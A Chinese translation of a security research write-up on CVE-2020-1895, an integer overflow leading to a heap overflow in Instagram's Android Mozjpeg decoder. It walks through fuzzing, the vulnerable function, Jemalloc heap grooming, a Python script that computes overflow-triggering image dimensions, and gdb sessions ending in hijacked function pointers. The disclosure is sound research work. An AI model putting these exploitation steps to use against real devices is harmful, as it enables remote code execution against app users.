让我们从`JPEG`格式的简要历史开始。JPEG是一种自1990年代初期以来就存在的图像文件格式，它基于有损压缩的概念，这意味着在压缩过程中会丢失一些信息，但是人眼可以忽略不计。Libjpeg是Windows，Mac和Linux操作系统中内置的基准JPEG编码器，由一个非正式的独立小组维护。该库试图在编码速度和质量与文件大小之间取得平衡。
相反，[Libjpeg-turbo](https://www.libjpeg-turbo.org/)是libjpeg的高性能替代品，并且是大多数Linux发行版的默认库。该库旨在在编码和解码期间使用较少的CPU时间。
2014年3月5日，Mozilla发布了[Mozjpeg](https://github.com/mozilla/mozjpeg)项目，这是一个基于libjpeg-turbo之上的JPEG编码器，目的是为Web图像提供更好的压缩效果，但会降低性能。
在Instagram的使用中将mozjpeg库拆分为3个不同的共享对象：
* libfb_mozjpeg.so –负责Mozilla特定的解压缩导出的API。
* libcj_moz.so –解析图像数据的libjeg-turbo。
* libjpegutils_moz.so –两个共享对象之间的连接器。它包含JNI调用以从Java应用程序端调用解压缩的API。
## Fuzzing
我们在CPR的团队建立了一个多处理器模糊测试实验室，通过我们以往的[Adobe
Research](https://research.checkpoint.com/50-adobe-cves-in-50-days/)为我们带来了惊人的结果，因此我们决定将模糊测试工作也扩展到Mozjpeg。
由于libjpeg-turbo已经被[fuzz测试多次](https://seclists.org/fulldisclosure/2013/Nov/83)，因此我们把精力集中专注于Mozjpeg。
Mozilla在libjpeg-turbo之上所做的主要添加是压缩算法，因此这才是我们研究的重点。
AFL是我们首选的武器，因此自然而然地我们必须为其编写harness。
要编写harness，我们必须了解如何使用Mozjpeg解压功能。
幸运的是，Mozjpeg附带了一个代码示例，说明了如何使用该库：
METHODDEF(int)
do_read_JPEG_file(struct jpeg_decompress_struct *cinfo, char *filename)
{
struct my_error_mgr jerr;
/* More stuff */
FILE *infile; /* source file */
JSAMPARRAY buffer; /* Output row buffer */
int row_stride; /* physical row width in output buffer */
if ((infile = fopen(filename, "rb")) == NULL) {
fprintf(stderr, "can't open %s\\n", filename);
return 0;
}
/* Step 1: allocate and initialize JPEG decompression object */
/* We set up the normal JPEG error routines, then override error_exit. */
cinfo->err = jpeg_std_error(&jerr.pub);
jerr.pub.error_exit = my_error_exit;
/* Establish the setjmp return context for my_error_exit to use. */
if (setjmp(jerr.setjmp_buffer)) {
jpeg_destroy_decompress(cinfo);
fclose(infile);
return 0;
}
/* Now we can initialize the JPEG decompression object. */
jpeg_create_decompress(cinfo);
/* Step 2: specify data source (eg, a file) */
jpeg_stdio_src(cinfo, infile);
/* Step 3: read file parameters with jpeg_read_header() */
(void)jpeg_read_header(cinfo, TRUE);
/* Step 4: set parameters for decompression */
/* In this example, we don't need to change any of the defaults set by
* jpeg_read_header(), so we do nothing here.
*/
/* Step 5: Start decompressor */
(void)jpeg_start_decompress(cinfo);
/* JSAMPLEs per row in output buffer */
row_stride = cinfo->output_width * cinfo->output_components;
/* Make a one-row-high sample array that will go away when done with image */
buffer = (*cinfo->mem->alloc_sarray)
((j_common_ptr)cinfo, JPOOL_IMAGE, row_stride, 1);
/* Step 6: while (scan lines remain to be read) */
/* jpeg_read_scanlines(...); */
while (cinfo->output_scanline < cinfo->output_height) {
(void)jpeg_read_scanlines(cinfo, buffer, 1);
/* Assume put_scanline_someplace wants a pointer and sample count. */
put_scanline_someplace(buffer[0], row_stride);
}
/* Step 7: Finish decompression */
(void)jpeg_finish_decompress(cinfo);
/* Step 8: Release JPEG decompression object */
jpeg_destroy_decompress(cinfo);
fclose(infile);
return 1;
}
但是，为确保我们在Mozjpeg中发现的任何崩溃都影响Instagram本身，我们需要了解Instagram是如何将Mozjpeg集成到其代码中的。
幸运的是，下面你可以看到Instagram直接复制粘贴了该库的最佳实践：
如上所示，他们真正改变的唯一一件事就是将示例代码中的`put_scanline_someplace`函数替换为利用`memcpy`的`read_jpg_copy_loop`函数。
我们的`harness`从AFL接收生成的图片文件，并将它们发送到封装的Mozjpeg解压函数。
我们仅用30个核心的CPU跑了fuzzer一天，就收到了AFL通知我们的447次独特的崩溃。
在对结果进行分类之后，我们发现了与解析JPEG图像`Size`有关的有趣崩溃。 崩溃是一个越界写，我们决定专注研究它。
## CVE-2020-1895
存在漏洞的函数是`read_jpg_copy_loop`，它在解压缩过程中产生了整数溢出。
漏洞的函数在解析JPEG图像文件时处理图像尺寸不恰当。下面是原始漏洞函数的伪代码：
width = rect->right - rect->bottom;
height = rect->top - rect->left;
allocated_address = __wrap_malloc(width*height*cinfo->output_components);// <---Integer overflow
bytes_copied = 0;
while ( 1 ){
output_scanline = cinfo->output_scanline;
if ( (unsigned int)output_scanline >= cinfo->output_height )
break;
//reads one line from the file into the cinfo buffer
jpeg_read_scanlines(cinfo, line_buffer, 1);
if ( output_scanline >= Rect->left && output_scanline < Rect->top )
{
memcpy(allocated_address + bytes_copied , line_buffer, width*output_component);// <--Oops
bytes_copied += width * output_component;
}
}
首先，让我们了解这段代码的作用。
`_wrap_malloc`函数基于3个参数（即图像尺寸）来分配内存块。宽度和高度都是从文件中解析的16位整数（uint16_t）。
`cinfo->output_component`告诉我们每个像素代表多少字节。
此变量的变化范围在1(灰度)，3(RGB) 和 4(RGB + Alpha\CMYK\etc)之间不等。
除了高度和宽度，`output_component`也完全由攻击者控制。它是从文件中解析的，并且未针对文件中可用的剩余数据进行验证。
`__warp_malloc`期望其参数在32位寄存器中传递！这意味着，如果我们可以使分配大小超过（2 ^
32）个字节，则将发生整数溢出，从而导致分配的大小比预期的小得多。
分配的尺寸是通过将图片的宽度，高度和`output_components`相乘得出的。这些大小不受检查，由我们控制。滥用它们便会得到我们想要的整数溢出。
__wrap_malloc(width * height * cinfo->output_components);// <---- Integer overflow
更为方便我们的是，此缓冲区然后会传递给`memcpy`，从而导致基于堆的缓冲区溢出。
在分配内存后，将调用`memcpy`函数，并将图像数据复制到分配的内存中。
复制是逐行进行的。
memcpy(allocated_address + bytes_copied ,line_buffer, width*output_component);//<--Oops
图片大小（width*output_component）的数据被复制（height）次。
从漏洞利用者的角度来看，这是一个很有希望的bug：线性堆溢出使攻击者可以控制分配的大小，溢出的大小以及溢出的内存区域的内容。
## Wild Copy 利用
为了导致内存损坏，需要溢出整数以确定分配大小； 因此计算的大小必须超过32位所能表示的最大值。
此时我们就是正在处理一个`WildCopy`的漏洞利用，这意味着我们必须复制大于2^32（4GB）的数据。
因此，当循环到达未映射的页面时，程序极有可能崩溃：
那么我们如何利用这一点呢？
在深入研究`Wildcopy`利用技术之前，我们需要将我们的情况与经典的`wildcopy`(如[Stagefright
bug](https://googleprojectzero.blogspot.com/2015/09/stagefrightened.html))区分开来。
经典案例通常涉及一个写入4GB数据的`memcpy`。
但是，在我们的示例中，有一个for循环尝试将X字节复制Y次，而`X * Y`为4GB。
当我们尝试利用这种内存损坏漏洞时，我们需要问自己几个重要的问题：
> * 我们能否控制（甚至部分控制）我们破坏的数据的内容？
> * 我们可以控制要破坏的数据的长度吗？
> * 我们可以控制溢出的已分配块的大小吗？
>
最后一个问题尤其重要，因为在`Jemalloc/LFH`（或每个基于bucket的分配器）中，如果我们无法控制要破坏的块的大小，则可能难以对堆进行布局以进一步破坏一个特定目标结构（如果该结构的大小明显不同）。
一眼望去，关于我们控制内容的能力的第一个问题的答案似乎是“是”，因为我们可以控制图像数据的内容。
现在，转到第二个问题–控制我们破坏数据的长度。
答案也显然是“是”，因为`memcpy`循环逐行复制文件，并且复制的每一行的大小都是由攻击者控制的`width`参数和`output_component`的乘积。
关于我们破坏的缓冲区大小的第三个问题的答案是微不足道的。
由于它是由`width * height * cinfo->
output_components`控制的，因此我们编写了一个小Python脚本，该脚本根据整数溢出的影响，根据希望分配的块大小，为我们提供了这三个参数的含义：
import sys
def main(low=None, high=None):
res = []
print("brute forcing...")
for a in range(0xffff):
for b in range(0xffff):
x = 4 * (a+1) * (b+1) - 2**32
if 0 < x <= 0x100000:#our limit
if (not low or (x > low)) and (not high or x <= high):
res.append((x, a+1, b+1))
for s, x, y in sorted(res, key=lambda i: i[0]):
print "0x%06x, 0x%08x, 0x%08x" % (s, x, y)
if __name__ == '__main__':
high = None
low = None
if len(sys.argv) == 2:
high = int(sys.argv[1], 16)
elif len(sys.argv) == 3:
high = int(sys.argv[2], 16)
low = int(sys.argv[1], 16)
main(low, high)
现在，我们已经具备了使用`wildcopy`的先决条件，让我们看看如何利用它们。
要触发此漏洞，我们必须指定一个大于`2 ^ 32`字节的数据长度。实际上，我们需要在到达未映射的内存之前停止`wildcopy`。
我们有很多选择：
> *
> 依靠竞态条件–尽管wildcopy破坏了一些有用的目标结构或内存，但是我们可以竞争另一个线程，以在wildcopy崩溃之前使用现在已损坏的数据来执行某些操作（例如，构造其他原语，终止wildcopy等）。
> * 如果wildcopy循环具有某种逻辑，可以在某些情况下停止循环，那么我们可以打乱这些检查，并在破坏足够的数据后停止循环。
> *
> 如果wildcopy循环在每次迭代时都调用一个虚函数，并且指向该函数的指针位于堆内存中的结构中（或位于我们在wildcopy期间可能损坏的另一个内存地址中），则漏洞利用程序可以使用该循环来覆盖并在wildcopy期间转移执行。
>
遗憾的是，第一种方法不适用于此处，因为我们是从图像向量中进行攻击。 因此，我们对线程没有任何控制，因此竞态条件选项无济于事。
为了使用第二种方法，我们寻找了一个终止开关来停止wildcopy。 我们尝试将文件切成两半，同时保持图像标题中的大小相同。
但是，我们发现，如果解码库达到一个EOF标记，它只会添加另一个EOF标记，因此我们最终陷入EOF标记的无限循环中。
我们还尝试寻找一种`ERREXIT`函数，该函数可以在运行时停止解压缩过程，但是我们了解到，无论我们做什么，我们都永远无法在此代码中找到导致`ERREXIT`的路径。
因此，第二种选择也不适用。
要使用第三个选项，我们需要寻找一个在wildcopy循环的每次迭代中都会调用的虚函数。
让我们回到发生memcpy复制的循环逻辑：
while ( 1 ){
output_scanline = cinfo->output_scanline;
if ( (unsigned int)output_scanline >= cinfo->output_height )
break;
jpeg_read_scanlines(cinfo, line_buffer, 1);
if ( output_scanline >= Rect->left && output_scanline < Rect->top )
{
memcpy(allocated_address + bytes_copied , line_buffer, width*output_component)
bytes_copied += width * output_component;
}
}
我们可以看到，除了覆盖我们的`memcpy…` 之外，只有一个函数可以在每次迭代中调用—`jpeg_read_scanlines`
让我们检查一下`jpeg_read_scanlines`的代码：
GLOBAL(JDIMENSION)
jpeg_read_scanlines(j_decompress_ptr cinfo, JSAMPARRAY scanlines,
JDIMENSION max_lines)
{
JDIMENSION row_ctr;
if (cinfo->global_state != DSTATE_SCANNING)
ERREXIT1(cinfo, JERR_BAD_STATE, cinfo->global_state);
if (cinfo->output_scanline >= cinfo->output_height) {
WARNMS(cinfo, JWRN_TOO_MUCH_DATA);
return 0;
}
/* Call progress monitor hook if present */
if (cinfo->progress != NULL) {
cinfo->progress->pass_counter = (long)cinfo->output_scanline;
cinfo->progress->pass_limit = (long)cinfo->output_height;
(*cinfo->progress->progress_monitor) ((j_common_ptr)cinfo);
}
/* Process some data */
row_ctr = 0;
(*cinfo->main->process_data) (cinfo, scanlines, &row_ctr, max_lines);
cinfo->output_scanline += row_ctr;
return row_ctr;
}
在上面的代码中我们可以看到，每次调用`jpeg_read_scanlines`从文件中读取另一行时，我们都会调用虚拟函数`process_data`。
从文件中读取的行被复制到`cinfo`结构内的`row_ctr`的缓冲区中。
(*cinfo->main->process_data) (cinfo, scanlines, &row_ctr, max_lines);
`proccess_data`指向另一个名为`process_data_simple_main`的函数：
process_data_simple_main(j_decompress_ptr cinfo, JSAMPARRAY output_buf,
JDIMENSION *out_row_ctr, JDIMENSION out_rows_avail)
{
my_main_ptr main_ptr = (my_main_ptr)cinfo->main;
JDIMENSION rowgroups_avail;
/* Read input data if we haven't filled the main buffer yet */
if (!main_ptr->buffer_full) {
if (!(*cinfo->coef->decompress_data) (cinfo, main_ptr->buffer))
return;
main_ptr->buffer_full = TRUE;
}
rowgroups_avail = (JDIMENSION)cinfo->_min_DCT_scaled_size;
/* Feed the postprocessor */
(*cinfo->post->post_process_data) (cinfo, main_ptr->buffer,
&main_ptr->rowgroup_ctr, rowgroups_avail,
output_buf, out_row_ctr, out_rows_avail);
/* Has postprocessor consumed all the data yet? If so, mark buffer empty */
if (main_ptr->rowgroup_ctr >= rowgroups_avail) {
main_ptr->buffer_full = FALSE;
main_ptr->rowgroup_ctr = 0;
}
}
从`process_data_simple_main`中，我们可以确定另外2个在每次迭代中都会调用的虚函数。 它们都有一个cinfo结构。
什么是`cinfo`呢？
`Cinfo`是在Mozjpeg各种函数期间传递的结构。 它包含关键成员，函数指针和图像元数据。
让我们看看来自`Jpeglib.h`的`cinfo`结构
struct jpeg_decompress_struct {
struct jpeg_error_mgr *err;
struct jpeg_memory_mgr *mem;
struct jpeg_progress_mgr *progress;
void *client_data;
boolean is_decompressor;
int global_state
struct jpeg_source_mgr *src;
JDIMENSION image_width;
JDIMENSION image_height;
int num_components;
...
J_COLOR_SPACE out_color_space;
unsigned int scale_num
...
JDIMENSION output_width;
JDIMENSION output_height;
int out_color_components;
int output_components;
int rec_outbuf_height;
int actual_number_of_colors;
...
boolean saw_JFIF_marker;
UINT8 JFIF_major_version;
UINT8 JFIF_minor_version;
UINT8 density_unit;
UINT16 X_density;
UINT16 Y_density;
...
...
int unread_marker;
struct jpeg_decomp_master *master;
struct jpeg_d_main_controller *main; <<-- there’s a function pointer here
struct jpeg_d_coef_controller *coef; <<-- there’s a function pointer here
struct jpeg_d_post_controller *post; <<-- there’s a function pointer here
struct jpeg_input_controller *inputctl;
struct jpeg_marker_reader *marker;
struct jpeg_entropy_decoder *entropy;
. . .
struct jpeg_upsampler *upsample;
struct jpeg_color_deconverter *cconvert
. . .
};
在`cinfo`结构中，我们可以看到3个指向函数的指针，这些指针可以在循环覆盖期间尝试覆盖并劫持执行流。
事实证明，上面提到的第三个方案适用于我们的情况！
## Jemalloc 101
在深入探讨`Jemalloc`利用概念之前，我们需要了解Android的堆分配器的工作方式，以及我们将在下一章着重介绍的所有术语-Chunks, Runs,
Regions。
Jemalloc是一个基于bucket的分配器，它将内存分成大小始终相同的块(Chunks)，并使用这些块(Chunks)存储所有数据结构（以及用户请求的内存）。
块被进一步划分为“runs”，它负责特定大小的请求/分配。 run会跟踪这些大小块的free操作和使用过的“Regions(区域)”。
Regions是在用户空间分配（malloc调用）上返回的堆块。
最后，每次运行都与一个“bin”相关联。`Bins`负责存储free区域(Regions)的结构（树）。
## 控制PC寄存器
我们发现了3个好的函数指针，可用于在wildcopy期间转移执行并控制PC寄存器。
`cinfo`结构具有以下成员：
> * _struct jpeg_d_post_controller \_ post*
> * _struct jpeg_d_main_controller \_ main*
> * struct jpeg_d_coef_controller *coef
>
这3个结构在`Jpegint.h`中定义如下:
/* Main buffer control (downsampled-data buffer) */
struct jpeg_d_main_controller {
void (*start_pass) (j_decompress_ptr cinfo, J_BUF_MODE pass_mode);
void (*process_data) (j_decompress_ptr cinfo, JSAMPARRAY output_buf,
JDIMENSION *out_row_ctr, JDIMENSION out_rows_avail);
};
/* Coefficient buffer control */
struct jpeg_d_coef_controller {
void (*start_input_pass) (j_decompress_ptr cinfo);
int (*consume_data) (j_decompress_ptr cinfo);
void (*start_output_pass) (j_decompress_ptr cinfo);
int (*decompress_data) (j_decompress_ptr cinfo, JSAMPIMAGE output_buf);
jvirt_barray_ptr *coef_arrays;
};
/* Decompression postprocessing (color quantization buffer control) */
struct jpeg_d_post_controller {
void (*start_pass) (j_decompress_ptr cinfo, J_BUF_MODE pass_mode);
void (*post_process_data) (j_decompress_ptr cinfo, JSAMPIMAGE input_buf,
JDIMENSION *in_row_group_ctr,
JDIMENSION in_row_groups_avail,
JSAMPARRAY output_buf, JDIMENSION *out_row_ctr,
JDIMENSION out_rows_avail);
我们需要找到3种结构在堆存储器中的位置，基于此我们可以覆盖其中至少一种结构以获得对PC寄存器的控制。
为了弄清楚这一点，我们需要了解使用Mozjpeg解压缩图像时堆的样子。
## Mozjpeg内的内存管理器
让我们回想一下`cinfo`最重要的struct成员之一：
struct jpeg_memory_mgr *mem; /* Memory manager module */
Mozjpeg有自己的内存管理器。JPEG库的内存管理器控制内存的分配和释放，并管理大型“虚拟”数据数组。
库中的所有内存和临时文件分配都是通过内存管理器完成的。 这种方法有助于防止内存泄漏问题，并且在malloc/free运行缓慢时加速操作。
内存管理器创建被释放内存的“内存池”，并且可以一次释放整个池。
一些数据是被“永久”分配使用的，直到销毁JPEG对象后才会释放。
大多数数据是根据图像大小来分配的，并由`jpeg_finish_decompress`或`jpeg_abort`函数释放。
例如，让我们看一下Mozjpeg在图像解码过程中所做的一种堆的分配。
当Mozjpeg要求分配0x108字节时，堆分配器实际上会给一个大小为0x777的堆块。 我们看到，请求的大小和分配的实际大小不同。
我们需要来分析一下这种行为。
Mozjpeg使用封装的两个函数`alloc_small`和`alloc_large`来分配较小和较大的内存块。
METHODDEF(void *)
alloc_small(j_common_ptr cinfo, int pool_id, size_t sizeofobject){
...
...
hdr_ptr = (small_pool_ptr)jpeg_get_small(cinfo, min_request + slop);
slop = first_pool_slop[1] == 16000
min_request = sizeof(small_pool_hdr) + sizeofobject + ALIGN_SIZE - 1;
sizeofobject == round_up_pow2(0x120, ALIGN_SIZE) == 0x120
ALIGN_SIZE == 16
sizeof(small_pool_hdr) = 0x20
static const size_t first_pool_slop[JPOOL_NUMPOOLS] = {
1600, /* first PERMANENT pool */
16000 /* first IMAGE pool */
};
调用`jpeg_get_small`时，基本上是在调用`malloc`。
GLOBAL(void *)
jpeg_get_small(j_common_ptr cinfo, size_t sizeofobject)
{
return (void *)malloc(sizeofobject);
}
分配的“池”由`alloc_small`和其他封装的函数管理，这些函数维护一组成员，以帮助它们监视“池”的状态。
因此，每当请求内存分配时，封装的函数都会检查“池”中是否有足够的空间。
如果有可用空间，则`alloc_small`函数从当前“池”中返回一个地址，并使指向池中空闲块的指针移动。
当“池”空间不足时，它将使用从`first_pool_slop`数组中读取的预定义的内存块分配另一个“池”，在我们的示例中为`1600`和`16000`。
static const size_t first_pool_slop[JPOOL_NUMPOOLS] = {
1600, /* first PERMANENT pool */
16000 /* first IMAGE pool */
};
现在，我们了解了Mozjpeg的内存管理器是如何工作的，我们需要确定哪个内存“池”保存着目标虚拟函数指针。
作为解压缩过程的一部分，有两个主要函数可对图像元数据进行解码并为以后的处理做好准备。直到我们到达wildcopy循环为止，仅有`jpeg_read_header`和`jpeg_start_decompress`两个函数负责内存分配。
`jpeg_read_header`解析文件中的不同标记。
在解析这些标记时，第二个也是最大的“池”，大小为`16000(0x3e80)`，由Mozjpeg内存管理器分配。“池”的大小是`first_pool_slop`数组（来自上面的代码段）中的const值，这意味着Mozjpeg的内部分配器已经使用了第一个池的所有空间。
我们知道，我们的目标main，coef和post结构是从`jpeg_start_decompress`函数中分配的。因此，我们可以放心地假设其他分配的结构（直到我们到达wildcopy循环）也将位于第二个大“池”中，包括我们要覆盖的main，coef和post结构！
现在，让我们仔细看看Jemalloc如何处理这种大小类分配。
## 使用shadow照亮堆
Jemalloc返回的内存大小分为三类-小，大，巨大。
> * 小型/中型：这些区域小于内存页大小（通常为4KB）。
> * 大：这些区域介于小/中和大之间（内存页大小与块(chunk)大小之间）。
> * 巨大：大于块(chunk)的大小。它们被单独处理与arenas无关，有一个全局分配器树。
>
操作系统返回的内存分为多个部分。在Android中，对应于不同的版本，这些块的大小也不相同。它们通常约为2MB/4MB。每个块都与一个arena关联。
run可用于托管一个分配的大块或分配的多个小块。
大型regions有自己的runs，即每个分配的大块都有专用的run。
我们知道我们的目标“池”大小为(0x3e80 = 16,000 DEC)，大于内存页大小(4K)，小于Android
chunk大小。因此，Jemalloc每次都会分配一个大的run(0x5000)！
让我们仔细看看。
(gdb)info registers X0
X0 0x3fc7
(gdb)bt
#0 0x0000007e6a0cbd44 in malloc () from target:/system/lib64/libc.so
#1 0x0000007e488b3e3c in alloc_small () from target:/data/data/com.instagram.android/lib-superpack-zstd/libfb_mozjpeg.so
#2 0x0000007e488ab1e8 in get_sof () from target:/data/data/com.instagram.android/lib-superpack-zstd/libfb_mozjpeg.so
#3 0x0000007e488aa9b8 in read_markers () from target:/data/data/com.instagram.android/lib-superpack-zstd/libfb_mozjpeg.so
#4 0x0000007e488a92bc in consume_markers () from target:/data/data/com.instagram.android/lib-superpack-zstd/libfb_mozjpeg.so
#5 0x0000007e488a354c in jpeg_consume_input () from target:/data/data/com.instagram.android/lib-superpack-zstd/libfb_mozjpeg.so
#6 0x0000007e488a349c in jpeg_read_header () from target:/data/data/com.instagram.android/lib-superpack-zstd/libfb_mozjpeg.so
我们可以看到传给malloc的实际参数值确实是（0x3fc7）。
这与16000（0x3e80）的内存size加上Mozjpeg的`large_pool_hdr`的size，以及应该分配的对象的实际size和`ALIGN_SIZE(16/32)
– 1`的值相匹配。
在为漏洞利用实现堆布局时，有一种可视化堆的方法：查看堆上下文中的各种内存分配。
为此，我们使用一个简单的工具，使我们可以在漏洞利用开发过程中检查目标进程的堆状态。
我们使用了`argp`和`vats`编写的名为[shadow](https://github.com/CENSUS/shadow)的工具来可视化Jemalloc堆。
我们使用gdb上的shadow执行了调试会话，以验证我们的假设。
Cinfo:
(gdb) x/164xw 0x729f4f8b98
0x729f4f8b98: 0x9f4f89f0 0x00000072 0xbdfe3040 0x00000072
0x729f4f8ba8: 0x00000000 0x00000000 0x00000014 0x000002a8
0x729f4f8bb8: 0x00000001 0x000000cd 0xbdef79f0 0x00000072
0x729f4f8bc8: 0x00006a44 0x00009a2e 0x00000003 0x00000003
0x729f4f8bd8: 0x0000000c 0x00000001 0x00000001 0x00000000
0x729f4f8be8: 0x00000000 0x3ff00000 0x00000000 0x00000000
0x729f4f8bf8: 0x00000000 0x00000001 0x00000001 0x00000000
0x729f4f8c08: 0x00000002 0x00000001 0x00000100 0x00000000
0x729f4f8c18: 0x00000000 0x00000000 0x00006a44 0x00009a2e
0x729f4f8c28: 0x00000004 0x00000004 0x00000001 0x00000000
0x729f4f8c38: 0x00000000 0x00000000 0x00000000 0x00000001
0x729f4f8c48: 0x00000000 0x00000001 0x00000000 0x00000000
0x729f4f8c58: 0x00000000 0x00000000 0xbdef7a40 0x00000072
0x729f4f8c68: 0xbdef7ad0 0x00000072 0x00000000 0x00000000
0x729f4f8c78: 0x00000000 0x00000000 0xbdef7b60 0x00000072
0x729f4f8c88: 0xbdef7da0 0x00000072 0x00000000 0x00000000
0x729f4f8c98: 0x00000000 0x00000000 0xbdef7c80 0x00000072
0x729f4f8ca8: 0x9f111ca0 0x00000072 0x00000000 0x00000000
0x729f4f8cb8: 0x00000000 0x00000000 0x00000008 0x00000000
0x729f4f8cc8: 0xa63e9be0 0x00000072 0x00000000 0x00000000
0x729f4f8cd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x729f4f8ce8: 0x00000000 0x01010101 0x01010101 0x01010101
0x729f4f8cf8: 0x01010101 0x05050505 0x05050505 0x05050505
0x729f4f8d08: 0x05050505 0x00000000 0x00000000 0x00000101
0x729f4f8d18: 0x00010001 0x00000000 0x00000000 0x00000000
0x729f4f8d28: 0x00000000 0x00000000 0x00000002 0x00000002
0x729f4f8d38: 0x00000008 0x00000008 0x000009a3 0x00000000
0x729f4f8d48: 0xa63e9e00 0x00000072 0x00000003 0x00000000
0x729f4f8d58: 0xa63e9be0 0x00000072 0xa63e9c40 0x00000072
0x729f4f8d68: 0xa63e9ca0 0x00000072 0x00000000 0x00000000
0x729f4f8d78: 0x000006a5 0x000009a3 0x00000006 0x00000000
0x729f4f8d88: 0x00000000 0x00000000 0x00000000 0x00000001
0x729f4f8d98: 0x00000002 0x00000000 0x00000000 0x00000000
0x729f4f8da8: 0x00000000 0x00000000 0x0000003f 0x00000000
0x729f4f8db8: 0x00000000 0x00000008 0xa285d500 0x00000072
0x729f4f8dc8: 0x0000003f 0x00000000 0xbdef7960 0x00000072
0x729f4f8dd8: 0xa63eaa70 0x00000072 <========= main
0xa63ea900 0x00000072 <========= post
0x729f4f8de8: 0xa63ea3e0 0x00000072 <========= coef
0xbdef7930 0x00000072
0x729f4f8df8: 0xbdef7820 0x00000072 0xa63ea790 0x00000072
0x729f4f8e08: 0xa63ea410 0x00000072 0xa63ea2c0 0x00000072
0x729f4f8e18: 0xa63ea280 0x00000072 0x00000000 0x00000000
(gdb) jeinfo 0x72a63eaa70 <========= main
parent address size
-------------------------------------- arena 0x72c808fc00 -
chunk 0x72a6200000 0x200000
run 0x72a63e9000 0x5000 <========= our large targeted run!
## 堆布局策略
我们的目标是利用整数溢出来导致堆缓冲区溢出。
利用这些类型的bug都是对于堆对象的精确定位。我们想强制某些对象被分配在堆中的特定位置，因此我们可以布局形成有用的邻接关系来破坏内存。
为了实现这种邻接，我们需要调整堆的布局，以便将可利用的内存对象分配在目标对象之前。
不幸的是，我们无法控制free操作。根据Mozjpeg文档，大多数数据是按“per
image”分配的，并由`jpeg_finish_decompress`或`jpeg_abort`释放。这意味着所有free操作都在解压缩过程结束时使用`jpeg_finish_decompress`或`jpeg_abort`进行，只有在完成使用Wildcopy循环的覆盖内存后，才会调用该操作。
但是，在我们的例子中，我们不需要任何free操作，因为我们可以控制一个函数，该函数最终会执行内存分配大小受我们控制的malloc函数。这使我们能够选择将可溢出的缓冲区放在堆上的位置。
我们想将可以溢出的缓冲区对象放置在执行函数指针调用的`main/post/coef`大型(0x5000)数据结构对象之前。
因此，我们利用此漏洞的最简单方法是对堆进行布局，以便将溢出的缓冲区分配到我们的目标（0x5000byte）对象之前，然后（使用该错误）覆盖`main/post/coef`虚函数地址。这使我们可以完全控制虚表，将任意方法重定向到指定的地址。
我们知道目标对象具有相同的大小(0x5000)，并且因为`Jemalloc`从顶到底分配空间，所以我们唯一需要做的就是将溢出对象放在目标块所在的底部。
在我们测试的Android版本中，`Jemalloc`的块大小为2MB。
对象之间的距离（以字节为单位）并不重要，因为我们有一个wildcopy循环，可以逐行复制大量数据（我们控制行的大小）。被复制的数据最终大于2MB，因此我们可以确定，最终我们将破坏溢出对象之后的块中的每个对象。
由于我们无法控制free操作，因此无法创建对象会掉进去的洞。
（洞是run过程中一个或多个被free的位置。）相反，我们尝试查找在图像解压缩流程中无论如何都会出现的洞，并寻找在调试期间反复出现的大小。
让我们使用shadow工具检查块在内存中的布局：
(gdb) jechunk 0x72a6200000
This chunk belongs to the arena at 0x72c808fc00.
addr info size usage
------------------------------------------------------------ 0x72a6200000 headers 0xd000 -
0x72a620d000 large run 0x1b000 -
0x72a6227000 large run 0x1b000 -
0x72a6228000 small run (0x180) 0x3000 10/32
0x72a622b000 small run (0x200) 0x1000 8/8
...
...
0x72a638f000 small run (0x80) 0x1000 6/32
0x72a6390000 small run (0x60) 0x3000 12/128
0x72a6393000 small run (0xc00) 0x3000 4/4
0x72a6396000 small run (0xc00) 0x3000 4/4
0x72a6399000 small run (0x200) 0x1000 2/8
0x72a639a000 small run (0xe0) 0x7000 6/128 <===== The run we want to hit!!!
0x72a63a1000 small run (0x1000) 0x1000 1/1
0x72a63a2000 small run (0x1000) 0x1000 1/1
0x72a63a3000 small run (0x1000) 0x1000 1/1
0x72a63a4000 small run (0x1000) 0x1000 1/1
0x72a63a5000 large run 0x5000 - <===== Large targeted object!!!
我们正在寻找带有洞的`runs`，并且这些`runs`必须在要覆盖的较大目标缓冲区之前。 run可用于托管一个大块的或多个小型/中型的分配操作。
承载小分配的runs被分为区域(regions)。一个区域(regions)等同于一个小的分配。 每个小的runs仅容纳一个区域(regions)。
换句话说，一个小runs恰好与一个区域(regions)大小相关联。
托管中型分配的runs也被划分为多个区域，但顾名思义，它们大于小型分配。 因此，托管介质分配的runs被划分为占用更多空间的类区域。
例如，将一个大小为0xe0的小`run`分成128个区域(regions)：
0x72a639a000 small run (0xe0) 0x7000 6/128
大小为0x200的中型run被分为8个区域：
0x72a6399000 small run (0x200) 0x1000 2/8
小块分配是最常见的，很可能是我们需要`manipulate/control/overflow`的分配。
由于将较小的分配划分为更多的区域(regions)，因此它们更易于控制，因为由其他线程来分配其余区域(regions)的可能性较小。
因此，为了使可溢出对象分配到大型目标对象之前，我们使用我们的Python脚本（wild copy利用）。
该脚本可帮助我们生成需要的图片尺寸，这将使得malloc在目标的小型类中分配可溢出对象。
我们构造了一个新的JPEG图像，其大小（0xe0）将会触发分配给对象的小型类，并在`libjepgutils_moz.so +
0x918`上设置了一个断点。
(gdb) x/20i $pc
=> 0x7e47ead7dc: bl 0x7e47eae660 <__wrap_malloc@plt>
0x7e47ead7e0: mov x23, x0
我们在可控的malloc之前只有一条命令，X0寄存器刚好拥有我们希望分配的大小：
(gdb) info registers x0
x0 0xe0 224
我们继续执行一个命令，然后再次检查X0寄存器，该寄存器现在保存了调用malloc后返回的结果：
(gdb) x/20i $pc
=> 0x7e4cf987e0: mov x23, x0
(gdb) info registers x0
x0 0x72a639ac40 492415069248
我们从malloc获取的地址是我们可溢出对象的地址(0x72a639ac40)。 让我们使用shadow框架中的`jeinfo`方法检查其在堆上的位置。
(gdb) jechunk 0x72a6200000
This chunk belongs to the arena at 0x72c808fc00.
…
...
0x72a639a000 small run (0xe0) 0x7000 7/128 <-----hit!!!
0x72a63a1000 small run (0x1000) 0x1000 1/1
0x72a63a2000 small run (0x1000) 0x1000 1/1
0x72a63a3000 small run (0x1000) 0x1000 1/1
0x72a63a4000 small run (0x1000) 0x1000 1/1
0x72a63a5000 large run 0x5000 - <------Large targeted object!!!
让我们继续执行，看看覆盖大型目标对象后会发生什么
(gdb) c
Continuing.
[New Thread 29767.30462]
Thread 93 "IgExecutor #19" received signal SIGBUS, Bus error.
0xff9d9588ff989083 in ?? ()
BOOM! 正是我们的目标–当程序试图通过函数指针从溢出的对象中加载被传入数据破坏的函数地址时，崩溃发生了。
